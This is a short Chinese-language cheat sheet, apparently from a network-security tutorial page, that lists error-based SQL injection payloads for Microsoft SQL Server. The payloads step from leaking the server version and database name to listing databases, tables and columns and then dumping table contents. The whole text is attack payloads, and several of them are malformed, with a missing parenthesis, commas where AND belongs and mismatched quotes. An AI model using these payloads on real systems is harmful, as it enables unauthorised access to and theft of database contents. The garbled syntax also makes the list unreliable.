显性注入代码
更新:HHH   时间:2023-1-7


库版本进行查询   and 1=(select @@version)

查看当前库名    and 1=(select db_name() 

库名查询       and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> '第一个数据库库名',name <> '第二个数据库库名',。。。。。。name <> '第N个数据库库名’)

表名查询:       and 1=(select top 1 name from sysobjects where xtype='u’ and name <> '第一个数据库表名'name <> '第二个数据库表名',。。。。。。name <> '第N个数据库表名’) 

列名查询         and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第一个列名’,and name <> '第二个列名'。。。。。。and name <> '第个列名'  )

内容查询:       and 1=(select top 1 列名 from 表名) 


返回网络安全教程...